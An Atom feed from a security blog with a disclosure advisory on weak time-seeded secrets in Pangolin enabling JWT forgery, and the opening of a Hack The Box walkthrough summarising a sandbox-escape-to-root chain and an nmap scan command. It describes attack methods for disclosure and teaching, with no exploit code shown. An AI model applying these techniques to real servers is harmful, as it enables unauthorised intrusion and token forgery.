<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>{TRAPDOOR SECURITY} - penetration-testing</title>
    <subtitle>Appsec &amp; Infosec - cybersecurity advisories, CTF writeups and projects.</subtitle>
    <link rel="self" type="application/atom+xml" href="https://trapdoorsec.com/tags/penetration-testing/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://trapdoorsec.com"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-04-25T00:00:00+00:00</updated>
    <id>https://trapdoorsec.com/tags/penetration-testing/atom.xml</id>
    <entry xml:lang="en">
        <title>Pangolin v1.3.2-1.15.1: Weak Secrets leading to JWT forgery.</title>
        <published>2026-04-25T00:00:00+00:00</published>
        <updated>2026-04-25T00:00:00+00:00</updated>
        
        <author>
          <name>akses</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/"/>
        <id>https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/</id>
        
        <content type="html" xml:base="https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/">&lt;h2 id=&quot;what-is-pangolin&quot;&gt;What is Pangolin?&lt;/h2&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https://pangolin.net&quot;&gt;Pangolin&lt;/a&gt; is a ‘Zero Trust Access Platform’ that promises an “open-source, identity-based remote access platform built on Wireguard”. It’s a compelling pitch that puts them in a similar market category as other zero-trust networking management providers like Tailscale and Zscaler.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/pangolin.net.png&quot; alt=&quot;pangolin’s product page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Obviously a project like this attracts everyone’s attention from a security perspective. So naturally, when I was reviewing their code and saw some worrying anti-patterns with regard to application security, I got in touch with the maintainers privately.&lt;/p&gt;
&lt;h2 id=&quot;overview-of-the-vulnerability-and-exploitation&quot;&gt;Overview of the vulnerability and exploitation&lt;/h2&gt;
&lt;p&gt;Self-hosted Pangolin server version &lt;code&gt;1.3.2&lt;/code&gt; through to &lt;code&gt;1.15.1&lt;/code&gt; is vulnerable to a critical cryptographic weakness that is exploitable post-authentication by low-privileged users.&lt;/p&gt;
&lt;p&gt;The primary issue is the use of a weak, time-based pseudo-random number generator (PRNG) to create the server’s master secret key
&lt;code&gt;server.secret&lt;/code&gt; during installation using the supplied installer binary.&lt;/p&gt;
&lt;p&gt;This fundamental flaw allows any &lt;em&gt;authenticated user&lt;/em&gt; with knowledge of the server’s approximate installation time to brute-force and recover the master secret offline. Depending on the resolution of this time knowledge, the search space for key brute forcing can be narrowed into the region of minutes to days, as opposed to years.&lt;/p&gt;
&lt;p&gt;Examples of impact are expanded on later, but in short they include the possibility of forging &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/blob/main/cli/commands/rotateServerSecret.ts&quot;&gt;anything this secret is responsible for&lt;/a&gt;, including: JWTs, license keys, and other client secrets.&lt;/p&gt;
&lt;h3 id=&quot;let-me-be-clear-about-what-this-is-and-is-not&quot;&gt;Let me be clear about what this is and is not&lt;/h3&gt;
&lt;p&gt;This is not an RCE and, strictly speaking, probably is not even classifiable as a privilege escalation. It is not unauthenticated either. Pangolin servers that are exposed to the internet aren’t necessarily vulnerable to this attack. &lt;strong&gt;I think malicious actors/insiders embedded for long periods of time in large organizations are the threat model to be concerned with for something like this&lt;/strong&gt;, as opposed to small businesses where everyone is an admin anyway (they probably shouldn’t be, but that’s a different story).&lt;/p&gt;
&lt;p&gt;Given limited time to explore the full extent of exploitation opportunities, I stopped at forging JWTs. While not immediately useful in and of itself, this represents an opportunity for an attacker to attack the IDP infrastructure, or perform other shenanigans.&lt;/p&gt;
&lt;p&gt;While a compromised &lt;code&gt;server.secret&lt;/code&gt; has severe security implications, readers should understand that a lot has to go ‘right’ for an attack to be successful here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pangolin Server creation time is necessary, and still only approximates the brute-force search space. Even a 5-minute guess can take commodity hardware a day to crack the secret. However, that is based on my [probably terrible] multi-CPU-core implementation in Rust. There are probably ways to do this with a GPU that would be orders of magnitude faster.&lt;/li&gt;
&lt;li&gt;The server secret has an important but limited role on a Pangolin setup. I didn’t fully explore license key forgery because I was more concerned with where a JWT gets us. My research indicated that it would open possibilities to attack JWT processing and downstream infrastructure, (as opposed to phishing / session takeover). I can show that it is possible to overwrite any value in JWTs, and then sign them basically.&lt;/li&gt;
&lt;li&gt;The default installation process, as documented on Pangolin’s website at the time, must have been used to set up the server. Users who did not use the install binary are likely unaffected. This does limit the impact to users who followed the documentation, although it could be argued this would be the majority of users.&lt;/li&gt;
&lt;li&gt;This is not an unauthenticated attack. My testing indicated that only authenticated users to the dashboard (albeit low-privileged ones) were issued with a secret that could be cracked offline. As it stands, my belief is you would need a high level of privilege in an environment already. This is why my assessment of the threat model above is as it is: focused on large enterprise environments mostly concerned with insider threat and lateral movement potential.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s possible that the above led to the reasoning behind Pangolins level of response, perhaps the threat model from their point of view was not concerning enough to warrant coordinating disclosure.&lt;/p&gt;
&lt;h3 id=&quot;pangolin-s-response&quot;&gt;Pangolin’s response&lt;/h3&gt;
&lt;h4 id=&quot;what-went-well&quot;&gt;What went well&lt;/h4&gt;
&lt;p&gt;The Pangolin team should be commended for patching this reasonably quickly upon acknowledging receipt of the security report.&lt;/p&gt;
&lt;h4 id=&quot;what-didn-t-go-well&quot;&gt;What didn’t go well&lt;/h4&gt;
&lt;p&gt;However, after this initial fix, they were non-responsive on requests, including those to disclose this to the customers via MITRE.&lt;/p&gt;
&lt;p&gt;There was also no response to subsequent issues found in that changeset. For example, no response when I reached out to them and informed them that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is NO automatic migration that regenerates weak secrets from vulnerable installations. Users who installed versions 1.3.2 through 1.15.1 still have their weak, time-based secrets in their config files.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The above quote means that even if you do upgrade, you must still manually rotate this secret to address any concerns of compromise. I.e., their fix only works for brand-new users.&lt;/p&gt;
&lt;p&gt;In terms of the example of their customer communications regarding this, as far as I could tell, this is the &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/releases/tag/1.15.2&quot;&gt;full release notice&lt;/a&gt; for &lt;code&gt;1.15.2&lt;/code&gt; and no further announcements were made. Readers may note there is nothing obvious in here indicating that they should update to this version to address their server issues.&lt;/p&gt;
&lt;p&gt;Full Changelog: &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/compare/1.15.1...1.15.2&quot;&gt;1.15.1…1.15.2&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;a-mitre-ghsa-disclosure-gotcha&quot;&gt;A MITRE/GHSA disclosure gotcha&lt;/h4&gt;
&lt;p&gt;One disclosure-process wrinkle worth flagging for other indie researchers: MITRE rejected my CVE assignment request on the grounds that Pangolin “uses GHSA”. Pangolin does have GitHub’s Security tab enabled, but they do not actually use it as a CNA. They use it only to direct researchers toward private email contact, and explicitly forbid public security issues. MITRE appears to interpret a populated security tab as evidence of GHSA/CNA delegation, which in this case meant the CVE request was bounced even though no CNA was actually responsible for assignment. An appeal has been lodged but as of writing has not been answered.&lt;/p&gt;
&lt;p&gt;I have published my full communications timeline at the end of this article.&lt;/p&gt;
&lt;h2 id=&quot;where-things-went-wrong&quot;&gt;Where things went wrong&lt;/h2&gt;
&lt;p&gt;For the uninitiated, developers of secure applications should be hyper aware of using &lt;em&gt;cryptographically secure randomness&lt;/em&gt; when generating secrets.&lt;/p&gt;
&lt;p&gt;To be completely fair, the intent in the Pangolin code was to &lt;em&gt;not&lt;/em&gt; be an exception to this.&lt;/p&gt;
&lt;p&gt;However, there was a single edge case where this was not the case, and it was catastrophic for the security of the cryptography governing JWT and OIDC interactions.&lt;/p&gt;
&lt;p&gt;Their website installation procedure encourages the admin to use this approach:
&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/pangolin-installation.png&quot; alt=&quot;the quick start guide for pangolin installation shows some red flags&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I won’t get into why this is considered a bad practice, there is plenty of discussion about that &lt;a rel=&quot;external&quot; href=&quot;https://sasha.vincic.org/blog/2024/09/piping-curl-to-bash-convenient-but-risky&quot;&gt;elsewhere&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This script, as its name suggests, downloads a prebuilt Go binary from GitHub. This is the Pangolin installer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/installer-logic.png&quot; alt=&quot;the installer just downloads a binary&quot; /&gt;
&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/go-binary-download.png&quot; alt=&quot;the binaries are hashed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Predictably this binary then needs sudo privileges in order to complete its task.&lt;/p&gt;
&lt;p&gt;Because this is an atypical delivery approach, this all felt very opaque to me so I decided to inspect the installer’s code on Github before using it.&lt;/p&gt;
&lt;h2 id=&quot;time-based-secrets-considered-harmful&quot;&gt;Time based secrets considered harmful&lt;/h2&gt;
&lt;p&gt;One of the jobs that the installer is tasked with is generating the root &lt;code&gt;server.secret&lt;/code&gt;. This secret is then used in the creation of other secrets. It’s a little bit like the seed of a minecraft server, only it’s alphanumeric. It should also be cryptographically random, i.e. safe from being easily guessed.&lt;/p&gt;
&lt;p&gt;For reasons that aren’t entirely clear to me the setup process stores an initial secret in a config file. This initial secret is created using the following insecure code. Remember this, it will be important soon.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/insecure-generation.png&quot; alt=&quot;Time based secrets aren’t secure folks&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As you can see, this is done with an insecure seed (a Unix style nanosecond datetime stamp).&lt;/p&gt;
&lt;p&gt;To make matters worse, that particular flavor of &lt;code&gt;rand&lt;/code&gt; comes from the &lt;code&gt;math&lt;/code&gt; library, and is not considered safe for cryptographic purposes. That’s because it is deterministic given the same seed and in our case the seed is hidden in a finite set of guessable numbers.&lt;/p&gt;
&lt;p&gt;Now to where this bites us. Later, once the config file is finalized, the database migrations kick in and attempt to overwrite this secret. I suspect due to a &lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/issues/640&quot;&gt;previously reported issue&lt;/a&gt;, one of the database migrations is tasked with overwriting this initial secret with a much better one - can you spot the flaw here though?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/the-root-cause.png&quot; alt=&quot;A poorly designed conditional statement was all it took&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Problem is that thanks to prior activity from the installer binary, it isn’t empty at all, so it never gets overwritten. A poorly designed conditional statement was all it took to bring this all undone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This now means the application is running with a weak ‘root’ secret.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;So this is why this vulnerability only exists when you use the installer (or you populated this file yourself and expected migrations to do something extra for you)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Under better circumstances you would expect a seed to be unguessable. This is why some places go to great lengths to &lt;a rel=&quot;external&quot; href=&quot;https://blog.cloudflare.com/chaos-in-cloudflare-lisbon-office-securing-the-internet-with-wave-motion/&quot;&gt;generate high quality randomness&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/pangolin-vpn-weak-secrets/cf-rng.png&quot; alt=&quot;Cloudflare’s latest random number generator. Source: https://blog.cloudflare.com&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you are a go developer and this is news to you then go have a look at &lt;a rel=&quot;external&quot; href=&quot;https://pkg.go.dev/math/rand&quot;&gt;this&lt;/a&gt;. TL;DR you actually want &lt;code&gt;crypto/rand&lt;/code&gt; instead, for reasons that will become painfully obvious soon.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;
&lt;p&gt;If we can find some cipher text that gets built from this secret, then conceivably we can use the time that the installer ran, against it.&lt;/p&gt;
&lt;p&gt;That is to say, “time installer ran” + “generated secret” = &lt;em&gt;we can brute force the server secret.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The secret is critical in two areas of the codebase:&lt;/p&gt;
&lt;h3 id=&quot;oidc-state-forgery-tested&quot;&gt;OIDC State Forgery (tested)&lt;/h3&gt;
&lt;p&gt;The secret is used to sign JSON Web Tokens (JWTs) that manage the OIDC login state. An attacker can forge these tokens to probe the upstream OIDC Identity Provider for weaknesses or potentially interfere with other users’ login flows. This was tested and confirmed against the latest compatible version of keycloak at the time, but only to the extent that it could be shown that JWT forgery was possible, because further testing would then essentially be against keycloak itself. It was possible to forge a fake JWT that was correctly signed that could redirect a user to an attacker controlled URL.&lt;/p&gt;
&lt;h3 id=&quot;sensitive-data-encryption-and-decryption&quot;&gt;Sensitive Data Encryption and Decryption&lt;/h3&gt;
&lt;p&gt;The secret is used to sign or encrypt license keys, OIDC client secrets, session transfer tokens, and other sensitive configuration data. An attacker who obtains a database backup (e.g., through other means) can decrypt this data, or change it and encrypt it correctly.&lt;/p&gt;
&lt;h3 id=&quot;exploiting-the-weakness-in-practice&quot;&gt;Exploiting the weakness in practice&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A cookie stores a JWT signed with the weak secret. By iterating candidate installer timestamps within a guessed window, deriving the resulting secret from each, and testing whether it validates the JWT signature, an attacker recovers the secret offline.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;p_oidc_state&lt;/code&gt; cookie is left behind by the login process for any user, not just administrators. From here, all I had to do was create a program that ‘borrowed’ the same code that the application itself uses to make sure I generated the secret using exactly the same alphabet and cryptographic algorithms.&lt;/p&gt;
&lt;p&gt;With this secret in hand, an attacker can now forge JWT based OIDC token to then attack any integrated identity services that pangolin is connected to.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Obtaining this server creation time is not really what this blog post is about however a combination of inside knowledge or even some OSINT like certificate creation times could conceivably be used to reduce the brute force problem space dramatically.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I estimate that with a 5-minute time window on 32 CPU cores, my PC and proof of concept can crack it in roughly 24 hours via CPU brute force. A guess around 1 hour would take approximately 12 days on my hardware. A server with more CPUs, or a GPU-based PoC would reduce that dramatically.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;
&lt;p&gt;In light of the above, it is the opinion of this author that users of the self-hosted pangolin service who used the default installer process from version &lt;code&gt;1.3.2 to 1.15.1&lt;/code&gt; inclusive, should not only update to the latest version if possible, but also rotate their server secrets as soon as practicable. Pangolin has a key rotation command, however I do not know if this works, or what impact it would have in your environment, so please proceed with caution:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;pangolin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; rotate-server-secret&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-old-secret&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;lt;current-weak-secret&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-new-secret&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;lt;new-strong-secret&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;why-assuming-nobody-knows-when-your-server-was-created-is-not-enough-protection&quot;&gt;Why assuming nobody knows when your server was created is not ‘enough protection’&lt;/h3&gt;
&lt;p&gt;This is a valid argument to an extent in very low risk threat models. If it’s just your DVD collection that you are protecting maybe this is OK. However if you are using a ZTN service like Pangolin to protect company/customer/otherwise important data, if you are a potential target for cybercriminal or state sponsored surveillance, these risks may not be acceptable.&lt;/p&gt;
&lt;h2 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;First, remember that this is a post-auth issue - we need something from any logged in user that was incorrectly generated via this seed.&lt;/p&gt;
&lt;p&gt;Exploiting this is a non-trivial exercise to do efficiently for a number of reasons, and is highly dependent on the attacker’s hardware. I chose to do this on a reasonably high spec’d developer workstation (32 Cores, 64GB DDR5 RAM). Using a systems programming language like C, C++ or Rust produces good enough results. Multithreading was required to get the processing times down.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/GdsVuwwVppo&quot;  frameborder=&quot;50&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;responsible-disclosure-timeline&quot;&gt;Responsible Disclosure Timeline&lt;/h2&gt;
&lt;p&gt;For transparency here is the timeline of disclosure related events.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date (2026)&lt;/th&gt;&lt;th&gt;Action&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Jan 24&lt;/td&gt;&lt;td&gt;Initial outreach via Discord to find comms channel&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Pangolin confirms email as preferred channel&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Full security report sent to security@pangolin.net&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jan 27&lt;/td&gt;&lt;td&gt;Pangolin acknowledges report, commits to reviewing and updating installer&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jan 28&lt;/td&gt;&lt;td&gt;Acknowledgement of response, offered assistance in re-testing&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jan 30&lt;/td&gt;&lt;td&gt;Follow up, I ask about CVE assignment&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 2&lt;/td&gt;&lt;td&gt;Pangolin asked for more time for patching&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 6&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://github.com/fosrl/pangolin/commit/5ad564d21bc13de7030adc3f33d248d4d18aaf54&quot;&gt;1.15.2 released fixing secret generation&lt;/a&gt;, I acknowledge and mention CVE assignment again.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 12&lt;/td&gt;&lt;td&gt;Follow up with no response.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feb 12&lt;/td&gt;&lt;td&gt;I request a CVE ID from MITRE &lt;code&gt;status: requested, pending assignment&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 6&lt;/td&gt;&lt;td&gt;Informed Pangolin of CVE reservation request and intent to write blog post/article. Offered to give them a preview with the mind to coordinate disclosure: no response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 7&lt;/td&gt;&lt;td&gt;Informed pangolin team of key rotation issue/advice: no response&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 28&lt;/td&gt;&lt;td&gt;MITRE rejects CVE assignment, citing GHSA (see “A MITRE/GHSA disclosure gotcha” above)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mar 29&lt;/td&gt;&lt;td&gt;Appeal lodged to MITRE, no response to date&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Apr 25&lt;/td&gt;&lt;td&gt;Decision: full public disclosure on the grounds that the vendor ceased contact and MITRE rejected CVE assignment. Every effort was made to follow the de-facto standard responsible disclosure process.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Apr 25&lt;/td&gt;&lt;td&gt;Date of this report &amp;amp; notification to MITRE of publication&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>HTB Walkthrough: CodePartTwo</title>
        <published>2025-11-22T00:00:00+00:00</published>
        <updated>2025-11-22T00:00:00+00:00</updated>
        
        <author>
          <name>akses</name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://trapdoorsec.com/ctf-writeups/code-part-2/"/>
        <id>https://trapdoorsec.com/ctf-writeups/code-part-2/</id>
        
        <content type="html" xml:base="https://trapdoorsec.com/ctf-writeups/code-part-2/">&lt;h1 id=&quot;htb-walkthrough-codeparttwo&quot;&gt;HTB Walkthrough: CodePartTwo&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/ctf-writeups/code-part-2/codeparttwo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;CodePartTwo&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Location&lt;/td&gt;&lt;td&gt;https://app.hackthebox.com/machines/CodePartTwo&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Difficulty&lt;/td&gt;&lt;td&gt;Easy&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;OS&lt;/td&gt;&lt;td&gt;Linux&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Weaknesses found&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Insecure Control of Code Generation&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://cwe.mitre.org/data/definitions/95.html&quot;&gt;CWE-95: Eval injection&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://cwe.mitre.org/data/definitions/427.html&quot;&gt;CWE-427: Uncontrolled Search Path Element&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://cwe.mitre.org/data/definitions/1391.html&quot;&gt;CWE-1391: Weak Passwords&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://cwe.mitre.org/data/definitions/759.html&quot;&gt;CWE-759: Use of a one-way hash without a salt&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Known Vulnerabilities found&lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-28397&quot;&gt;CVE-2024-28397&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Points&lt;/td&gt;&lt;td&gt;20&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Rating at time of pwning&lt;/td&gt;&lt;td&gt;4.4&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Date pwnd&lt;/td&gt;&lt;td&gt;22nd Nov 2025&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;overview&quot;&gt;Overview&lt;/h2&gt;
&lt;p&gt;Welcome back to another CTF write-up for practicing penetration testing and reporting skills!&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CodePartTwo&lt;/code&gt; is an easy level Ubuntu Linux box hosted on the hackthebox platform, hosting a developer centric website. This CTF teaches the importance of keeping libraries up to date, avoiding allowing untrusted users to run code on your infrastructure, even when you’ve tried to sandbox them.&lt;/p&gt;
&lt;h2 id=&quot;executive-summary&quot;&gt;Executive summary&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CodePartTwo&lt;/code&gt; is vulnerable to a sandbox escape &lt;a rel=&quot;external&quot; href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-28397&quot;&gt;CVE-2024-28397&lt;/a&gt; leading to remote code execution on the server as the &lt;code&gt;app&lt;/code&gt; user. This allows an attacker to access the application database which contains a raw MD5 hash for another user &lt;code&gt;marco&lt;/code&gt;. This password is both crackable in under a minute on modern hardware, and is reused as the SSH password for &lt;code&gt;marco&lt;/code&gt;. Further, despite &lt;code&gt;marco&lt;/code&gt; being a low privilege user, they are allowed to run &lt;code&gt;npbackup-cli&lt;/code&gt; as the superuser.&lt;/p&gt;
&lt;p&gt;Unfortunately this CLI tool can be configured to read and write to the root filesystem allowing a low privileged user to acces the &lt;code&gt;root&lt;/code&gt; SSH private key, &lt;em&gt;which is passwordless&lt;/em&gt;, and gain full access to the box.&lt;/p&gt;
&lt;h1 id=&quot;testing-method&quot;&gt;Testing Method&lt;/h1&gt;
&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;nmap-scan&quot;&gt;nmap scan&lt;/h3&gt;
&lt;p&gt;We start with &lt;code&gt;nmap&lt;/code&gt; to perform a full port scan (&lt;code&gt;-p-&lt;/code&gt;) using service detection (&lt;code&gt;-sV&lt;/code&gt;), default scripts (&lt;code&gt;-sC&lt;/code&gt;), disabled ping probes (&lt;code&gt;-Pn&lt;/code&gt;) and outputting the scan results to a text file (&lt;code&gt;-oN [filename]&lt;/code&gt;).&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;┌──(akses㉿kali&lt;/span&gt;&lt;span&gt;)-&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;~/htb/codeparttwo&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;└─$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; nmap&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;vv&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;Pn&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;T4&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;sV&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;sC&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;p-&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;oN&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/kali/htb/codeparttwo/scans/_quick_tcp_nmap.txt&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This scan reveals two TCP services running on port 8000 (a HTTP service) and port 22 (SSH Access)
&lt;img src=&quot;https://trapdoorsec.com/ctf-writeups/code-part-2/codeparttwo-portscan.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3 id=&quot;port-22-ssh-8-2p1&quot;&gt;Port 22 (SSH 8.2p1)&lt;/h3&gt;
